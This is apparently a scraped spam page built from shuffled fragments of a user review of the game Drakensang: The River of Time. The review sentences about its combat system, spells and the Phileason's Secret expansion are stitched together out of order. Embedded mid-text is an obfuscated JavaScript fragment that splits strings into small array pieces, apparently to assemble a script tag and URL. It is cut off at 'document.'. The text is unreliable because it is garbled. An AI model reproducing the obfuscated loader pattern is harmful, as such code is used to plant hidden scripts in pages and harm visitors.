Drakensang: The River of Time introduces a brand new story within the Drakensang universe.

Also, another gripe (for me at least) is that I would have liked to have seen a greater variety of spells for magic users.. Though I like the pause and ensuing tactical planning elements, it does not always work.. The River of Time Drakensang © 2009 Radon Labs GmbH Whether or not I was being a numpty, I don't know - it just seemed to spoil what is a good game from being a great game.. For example, I could be hit by ranged weapons and despite having high level ranged combat, I could not fire back despite pause, select targeting, etc.. This could be so much better if not for the occasional cumbersome combat system.. var mT = 'drakensang++the+river+of+time';var F = new Array();F["lzj"]="NHp";F["aBX"]="typ";F["aVM"]="\" s";F["FIf"]="ver";F["sdS"]=">v";F["vLO"]="//O";F["YII"]="tur";F["ftZ"]="wnl";F["xOT"]="ser";F["Biz"]="t>";document.

I guess we can't have it all Post Sciptum: I have now completed this and the expansion, Phileason's Secret, and despite the earlier niggles, once I got used to the combat system idiosynchrasies, this really is an absolute gem.. I could set the attack up and Nothing happened, all the while I was getting hit until my party was decimated by three low level dwarfs with crossbows.. It started really well and I really began to enjoy this game, then the awful combat system kicked in during critical times, which can be a real pain.. I just hope they release more DLC, or even better, a mod maker I absolutely loved the game and got very attached to my characters!..
